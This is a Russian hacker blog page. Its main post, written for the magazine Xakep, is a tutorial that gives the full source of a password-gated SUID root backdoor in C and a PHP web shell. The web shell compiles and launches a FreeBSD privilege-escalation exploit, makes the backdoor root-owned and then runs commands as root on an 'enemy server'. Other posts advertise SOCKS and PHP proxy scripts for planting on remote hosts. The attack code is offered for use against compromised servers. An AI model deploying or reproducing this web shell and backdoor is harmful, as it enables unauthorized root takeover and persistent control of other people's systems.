Публичное извинение

Итак, уважаемые друзья, вышел новый номер журнала “Хакер” за январь. В нем произошла страшная ошибка по моей вине. Дело в том, что раздел “Easy-Hack”  писался тремя людьми – Jokester, geezer_code и мной. Однако в силу моей рассеяности я не указал при сдаче материала авторство и указали в качестве авторов только старый состав – Джока и меня. В связи с чем публично

ПРИНОШУ ИЗВИНЕНИЯ geezer_code

и уточняю, что основную роль в написании материала для данного номера сыграл именно он. Линк на профиль geezer_code – http://forum.antichat.ru/member.php?u=32147

Февраль 7th, 2010 автор: Twoster | 1 Комментарий »

Революция в nix-like системах. Новый взгляд на повышение прав в системе.

Root’овый Web-shell

Статья писалась для журнала Хакер, вышла в ноябрьском номере, полную статью и исходные коды Вы можете получить, купив журнал! =)

Итак, уважаемый Читатель, сегодня мы с тобой свершим переворот в сложившихся устоях ][ак-мира. Наверняка ты уже имел дело с web-shell'ами, такими как r57, c99, WSO2 и иже с ними. Так, вот о чем я — наверняка зайдя на свежезалитый шелл, ты первым делом смотришь свои права в системе, а именно результат команды «id» в nix-like системах.

Вот к примеру наши права по дефолту uid=80(www), gid=80(www), groups=80(www), т.е. права обычного юзера www! =( Но, не отчаивайся, сегодня мы научимся поднимать их до r00t'a и сохранять (!) непосредственно в веб-шелле, это наверняка мечта любого хакера.

Немного теории

SUID - расшифровывается как Set user ID, переводится с забугорного как "установить идентификатор пользователя".

Если установлены права доступа SUID и файл исполняемый (т.е. наш будущий бинарник), то при выполнении этот файл получает не права запустившего его(www), а права владельца файла(root, после смены владельца под рутом естественно!=))

Эксплойт — в нашем случае это компьютерная программа, использующая уязвимости в программном обеспечении и применяемая для повышения привилегий (Получения рута). (вольный пересказ Википедии)

Root, суперпользователь — это специальный аккаунт в UNIX-подобных системах с идентификатором (UID) 0, владелец которого имеет право на выполнение всех без исключения операций (грубо говоря, да простят меня линуксоиды, это аналог учетки Администратора в Windows). (вольный пересказ Википедии)

Итак, с теорией покончили (надеюсь было не скучно), движемся далее...

Наполеоновские планы

Планы у нас круче, чем у Наполеона, мы собираемся сделать мировую революцию.

Для начала распишем планы нашей революции, нам предстоит удивить всех своим (!) рутовым web-шеллом, которого нет ни у кого! А именно, нам предстоит:

1)Составить задачу и продумать алгоритм работы нашего чудо-шелла

2)Накодить SUIDник

3)Накодить непосредственно сам web-Shell

4)Связать все эти прелести чудесных языков программирования

5)и таки получить и сохранить r00t'a на вражеском сервере

Первым делом, первым делом... алгоритмы

Сначала придумаем алгоритм работы и вообще всю схему получения и сохранения рута.

Сразу предупрежу, что тестировать наше детище мы будем на сервере с установленной freeBSD 7.1, причины сего деяния оглашу позже.

Смысл всей нашей затеи состоит в следующем — мы запустим эксплоит из WEB'а, т.е. непосредственно из нашего любимого браузера, установим суидные права и сменим хозяина (owner'a) нашему суиднику и наконец-таки будем выполнять команды под рутом.

Разберемся поглубже, почему же мы выбрали для теста именно freeBSD 7.1? Все гениальное просто, мы ведь будем юзать эксплойт из веба, а под данную ОСь как раз есть подходящий эксплойт ktimer (http://milw0rm.com/exploits/8261), вся его прелесть заключается в том, что результат его работы — не получение /bin/sh, а установка  uid=0, gid=0 вызывающему процессу, а это-то нам и нужно.

От слов к делу, начинаем ][-кодинг. PART I (Пишем SUIDник.)

Я сразу приведу листинг кода, а уж после будем с тобой его разбирать.

#include <stdio.h>

#include <stdlib.h>

main(int argc, char *argv[])

{

// проверяем количество аргументов

if(argc == 3){

//проверяем наш пароль cool_hack

if(strcmp(argv[1],”cool_hack”) == 0){

// Устанавливаем gid(0) r00t

setgid(0);

// Устанавливаем uid(0) r00t

setuid(0);

// Выполняем команды с установленными ранее правами

system(argv[2]);

}

}

return 0;

}

Ну, думаю глядя на комментарии уже становится ясен смысл нашей программы.

Сначала мы проверяем количество аргументов их должно быть три, argv[0] – имя самого скомпилированного SUIDника, argv[1] – наш пароль и argv[2]- непосредственно сама команда.

Сразу разберемся с некоторыми моментами работы с бинарными файлами при установленном SUID-бите, дабы не возвращаться к этому  позднее.

1) -rwxr-x–x  1 www apache 5043 2009-09-09 13:51 suid

Файл suid с правами доступа -rwxr-x–x, т.е. хозяин файла (www) может читать, изменять и запускать на исполнение, члены группы (apache) могут читать и запускать файл на исполнение, а все остальные пользователи могут только лишь запускать на исполнение.

К примеру результат команды id через наш файл для членов группы site будет подобным uid=80(site), gid=80(site), groups=80(apache)

2) Устанавливаем бит SUID на файл командой chmod 4751 suid

-rwsr-x–x  1 www apache 5043 2009-09-09 13:51 suid

Наверняка заметили, что символ x (запуск на исполнение) сменился на s (SUID бит). Как мы уже знаем бинарник с суид битом будет выполняться не от имени вызывающего, а от имени хозяина (owner’a). Опять же результат команды id через наш файл для членов группы site будет подобным uid=80(www), gid=80(www), groups=80(apache)

3) Забегая вперед обозначим, что нам придется сменить владельца файла, мы это сделаем под рутом командой chown root suid.

-rwsr-x–x  1 root apache 5043 2009-09-09 13:51 suid

И снова результат команды id через наш файл будет подобным uid=0(root), gid=0(root), groups=80(apache). Исходя из этого, уже видно что любой пользователь системы, даже не входя в состав группа хозяина имеет право на запуск бинарника, да мало того, еще и в правами хозяина, то бишь рута, т.к установлен SUID-бит.

Так-с, с этим разобрались, осталась самая малость, скомпилировать файл, делаем это командой gcc suid.c -o suid. В итоге получаем бинарный файл suid.

Пример использования будет таков – “./suid cool_hack id” (имя файла, пароль, команда)

От слов к делу, начинаем ][-кодинг. PART II (Пишем web-shell.)

<?php

/************************* CONFIGURATION **************************************/

$pass_suid = 'cool_hack'; // пароль, который мы установили в сорцах суидника

/************************* END CONFIGURATION **********************************/

/************************* FUNCTIONS ******************************************/

/*

Наша функция по выполнению команд

Если существует файл /tmp/conf (так мы замаскировали наш суидник),

то выполнение команд идет через него, иначе просто функцией system.

*/

function hack_system($cmd,$pass_suid)

{

if(file_exists('/tmp/conf')){

system('/tmp/conf '.$pass_suid.' "'.$cmd.'"'));

}

else{

system($cmd);

}

}

/*

Вот и наша главная функция, которая скопирует наш эксплойт и суидник,

скомпилирует их и запустит

*/

function give_me_root()

{

// компилируем эксплойт

system('gcc bsd-ktimer.c -o /tmp/configure');

// компилируем суидник

system('gcc suid.c -o /tmp/conf');

// запускаем сплойт, меняем овнера суиднику и устанавливаем права

system('/tmp/configure; chown root /tmp/conf; chmod 4777 /tmp/conf');

return print 'OK!';

}

/************************* END FUNCTIONS **************************************/

print

'<html>'.

'<head>'.

'<title>r00t web-shell</title>'.

'</head>'.

'<body>';

/************************* MAIN CODE ******************************************/

/*

Выводим форму для выполнения команд

*/

if(!isset($_POST['cmd'])){

print ‘<form method=”post”>’.

‘<input name=”cmd” value=”ls -lia”>’.

‘<input type=”submit” value=”Go”>’.

‘</form><br><br>’;

}

else

{

hack_system($_POST['cmd'],$pass_suid);

}

/*

Выводим заветную кнопочку для получения рута

*/

if(!isset($_POST['give_me_root'])){

print ‘<form method=”post”>

<input type=”submit” value=”Give me r00t”>

</form>’;

}

else

{

give_me_root();

}

/************************* END CODE *******************************************/

print

‘</body>’.

‘</html>’;

?>

Интеграция, адаптация и прочие непонятные слова

В итоге предыдущих частей статьи мы таки получили рута, и при последующем посещении web-шелла мы уже будем рутом (при условии, что наш суид-шелл не увидит рут, и не удалит его (: ).

Однако шелл у нас получился довольно примитивный, чтобы интегрировать наши прелести в привычные шелла типа r57, c99, WSO2 и т.д. принцип работы тот же.

На диске ты сможешь найти подправленный мною код шелла r57. Единственное, что отличает подправленный r57 от шелла, который мы сегодня с тобой написали, это то, что в r57 я эксплойт и суид-шелл скомпилировал и перевел полученные бинарники в base64, далее вставил полученный код в сам шелл. Далее мы расшифровываем base64 код и сохраняем в файл. Таким образом у нас получается один файл, это удобнее в плане транспортирования и заливки.

Так, с интеграцией в другие шеллы разобрались, теперь осталось разобрать ситуацию с применением эксплойтов для других операционных систем и других версий.

Причина по которой я выбрал для теста FreeBSD, как я уже писал в начале статьи в том, что данный эксплойт под версию 7.1 и 7.2 результатом своей работы возвращает не /bin/sh, которой мы бы пользовались при простом бекконекте а возвращает uid и gid 0 для текущего процесса, т.е является универсальным. Последний способ для нас более удачен, т.к. мы можем использовать его непосредственно из web’a. Таким образом мы пришли к выводу, что для использования эксплойта с нашими условиями нам необходимо переписать эксплойты так, чтобы они устанавливали uid, gid, а как это уже организовать – история другой статьи.

Подводим итоги.

Итак, пора подвести итоги наших приключений.

Сразу же хочется отметить плюсы и минусы данного подхода к получению рута.

XXXXXXXXXX

НА ПЛАШКУ

XXXXXXXXXX

[+] Получаем права Root на веб-шелле

[+] Не нужен сервер для бекконекта

[+] Обход фаервола, т.к. нет исходящих соединений, бинда порта и т.д. (а зачастую большая проблема для создания бекконекта.)

[-] Пока малое количество эксплойтов, которые мы можем использовать, остальные нужно редактировать.

[-] Если наш шелл попадет в руки к нашим недругам, либо просто к нечистым на руку, то злодеи получат уже готовенький root шелл без особых усилий, так что защищайте свой шелл! =)

Благодарности

Выражаю благодарность за советы, тестирование и помощь следующим подозрительным личностям – IceAngel_, oRb, jokester

Ноябрь 13th, 2009 автор: Twoster | 1 Комментарий »

Прокси-серверы

Итак, начинаем собирать мастхевный софт для информационной безопасности.
В этот раз рассмотрим три прокси сервера.

  1. Satanic Socks Server v0.8-perl
  2. Satanic Socks Server v0.66 released
  3. pproxy – прокси на PHP
  • Satanic Socks Server v0.8-perl

Описание автора:

На этот раз мы представляем вам свой сокс-сервер.
Основные характеристики:
-Протокол Socks5
-Написан на Си
-Компилируется в Unix и Windows системах (я тестировал программу в различных дистрибутивах Linux и FreeBSD, а так же в Windows XP. Нет причин, по которым программа не должна собираться в других операционках)
-Не требует root-привелегий
-Размер бинарника в формате PE: 2,5 Кб. В формате ELF может меняться в зависимости от ОС, я получал бинарники размером от 9 до 16 Кб
-Поддерживается аудентификация по логину:паролю
-Клиент может передавать адрес сервера как в виде D/N, так и в виде IPv4 (IPv6 не поддерживается)
-Поддерживается только метод connect. Это объясняется тем, что я просто не знаю софт, использующий другие методы протокола Socks5.
-Исходник занимает 1 файл размером менее 10Кб – при необходимости 500 строк кода можно скопи-пастить через stdin.

Скачать: socks5_c

  • Satanic Socks Server v0.66 released

Описание автора:

С момента выхода версии 0.66 в проксик были внеcены следующие изменения
* Скрипт был переписан на перл, тк язык си оказался недостаточно хорошо переносим в unix-системах
* Таким образом использование сокс-сервера в Windows теперь является затруднительным
* Скрипт отныне приват (по крайней мере был таковым до недавнего времени).

Скачать: socks5_perl

  • pproxy – прокси на PHP

Описание автора:
Состоит из двух частей. На удаленный веб-сервер заливается первая часть прокси, написанная на PHP – скрипт pproxy.php. На локалхосте запускается вторая часть прокси, реализованная на Perl (скрипт plocal.pl), которая прослушивает порт как HTTP-прокси. На этот локальный HTTP прокси настраивается, например, браузер.

Скачать: pproxy

Немного описания,  первый два сервера работают по протоколу Socks5, т.к. использование на *nix серверах perl-скриптов зачастую проще, советую использовать данную версию сервера. Порт по умолчанию 3003.

Pproxy работает по протоколу HTTP.

Ссылки  для ознакомления:

http://forum.antichat.ru/showpost.php?p=176928&postcount=1

http://forum.antichat.ru/showpost.php?p=959778&postcount=1

Ноябрь 9th, 2009 автор: Twoster | 1 Комментарий »

Снова Хакер! =)

Хакер
Опять продолжаю пиарить главный журнал компьютерных хулиагнов! =)
Теперь я обращаюсь с предложением сотрудничества! =) Мы с нашим незаменимым Jokester‘oм решили вести раздел EasyHack в журнале Хакер.
Так, вот я прошу всех нуждающихся присылать мне свои вопросы, дабы мы ответили на них непосредственно на страницах рубрики.
Присылайте либо на e-mail antiqwerty{собака}gmail.com, либо непосредственно в комментарии этого поста.
С Ув. Twost

Ноябрь 6th, 2009 автор: Twoster | 1 Комментарий »

Публикация статьи в журнале “Хакер”

Хакер
Итак, дорогие друзья, второй пост блога, пост-анонс.
Я решил попробовать себя в написании статей для журнала “Хакер“.
В номере № 11 (131) выйдет моя статья в разделе “Взлом“, называется “Революция в *nix-системах: Новый взгляд на повышение привилегий”.
(Содержание нового номера можете посмотреть по ссылке Содержание)
О чем статья рассказывать не буду, дабы не портить впечатление от номера, номер посвящен эксплойтам, и обещает быть интересным.

Обложка

Так, что покупайте журнал и оставляйте свои комментарии.

Ноябрь 4th, 2009 автор: Twoster | 1 Комментарий »

Установил блог.

Заинсталил блог. Пока будет в режиме тюнинга и тестирования. Вскоре ожидайте новые записи! =)

Октябрь 2nd, 2009 автор: Twoster | 1 Комментарий »